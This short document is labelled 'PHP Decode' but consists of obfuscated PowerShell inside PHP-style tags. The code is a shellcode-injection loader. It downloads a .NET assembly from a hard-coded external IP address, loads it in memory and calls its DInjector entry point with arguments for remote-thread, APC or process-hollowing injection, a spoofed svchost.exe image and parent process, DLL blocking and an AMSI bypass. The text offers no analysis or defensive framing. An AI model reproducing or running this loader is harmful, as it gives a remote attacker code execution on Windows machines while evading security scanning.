PHP Decode

<?  sV  ("{0}{1}" -f'Y','uE51') ([typE]("{5}{0}{2}{3}{1}{4}"-f 'STeM','EcTIOn.aS','.REF','L','SemblY','Sy'));  ${a} = ("{0}{1}{2}{3}{4}" -f 'cu','rr','en','tth','read') 
${B} = ("{1}{0}{3}{2}" -f '.182.1','147','89','72.1') 
${C} = 80 
${D} = ("{2}{0}{1}" -f '.dl','l','user32') 
${E} = ("{1}{0}" -f 'tVI0','9') 
${f} = (('z6'+'4&Rx27Z{0}B%'+'7'+'3u'+'p')  -F[cHar]36) 
${g} = ((("{8}{5}{3}{1}{2}{0}{7}{4}{6}"-f '2','owsf3h','System3','d','svcho','Win','st.exe','f3h','C:f3h'))."r`EPlAcE"('f3h',[StRINg][ChaR]92)) 
${h} = ("{0}{1}"-f 'notepa','d') 
${I} = ("{1}{0}"-f'xplorer','e') 
${j} = ("{1}{0}{2}" -f'_','msvcp','win.dll') 
${k} = ("{0}{1}" -f 'Tru','e') 
${l} = ("{1}{0}" -f'rue','T') 
 
${Me`Th`ODS} = @(("{1}{0}{2}{3}"-f'ot','rem','et','hread'), ("{2}{0}{1}{3}" -f'mo','tethre','re','addll'), ("{4}{2}{1}{3}{0}" -f'view','hr','otet','ead','rem'), ("{1}{3}{2}{4}{0}"-f 'ed','rem','e','ot','threadsuspend')) 
if (${m`E`ThOdS}.("{0}{1}{2}"-f'C','ontain','s').Invoke(${A})) { 
    ${h} = (&("{1}{0}{2}{3}" -f'tart-Pro','S','c','ess') -WindowStyle ("{1}{0}{2}"-f 'dd','Hi','en') -PassThru ${H})."I`d" 
} 
 
${ME`ThODS} = @(("{2}{0}{4}{3}{1}" -f'mo','dapc','re','ethrea','t'), ("{1}{0}{2}{3}{4}" -f 'adc','remotethre','on','te','xt'), ("{2}{0}{3}{1}" -f'oces','hollow','pr','s')) 
if (${m`EthODS}.("{0}{1}{2}"-f 'C','ontain','s').Invoke(${a})) { 
    try { 
        ${I} = (&("{1}{0}{2}{3}" -f'-Pr','Get','o','cess') ${I} -ErrorAction ("{1}{0}"-f'p','Sto'))."ID" 
    } 
    catch { 
        ${I} = 0 
    } 
} 
 
${c`MD} = "${A} /sc:http://${B}:${C}/${E} /password:${F} /image:${G} /pid:${H} /ppid:${I} /dll:${J} /blockDlls:${K} /am51:${L}" 
 
${d`AtA} = (.("{0}{1}" -f 'IW','R') -UseBasicParsing "http://${B}:${C}/${D}")."C`ontEnT" 
${A`ssEM} =  ( ls ("{1}{3}{2}{0}" -f '1','vaR','5','IaBLe:yUE')  )."Va`LUe"::("{1}{0}"-f'd','Loa').Invoke(${d`AtA}) 
 
${fL`AGS} = [Reflection.BindingFlags] ("{1}{2}{3}{4}{0}"-f'tatic','NonPub','l','ic,','S') 
 
${cl`ASs} = ${a`s`SEm}.("{2}{1}{0}" -f 'pe','etTy','G').Invoke(("{0}{3}{1}{4}{2}"-f 'DIn','.Det','r','jector','onato'), ${f`lAgS}) 
${En`TRY} = ${C`lASS}.("{3}{1}{0}{2}"-f 'e','M','thod','Get').Invoke(("{1}{0}" -f 'om','Bo'), ${f`L`AGS}) 
 
${Ent`RY}."I`N`VokE"(${nU`LL}, (, ${c`md}.("{1}{0}" -f 'it','Spl').Invoke(" "))) 
 
 ?>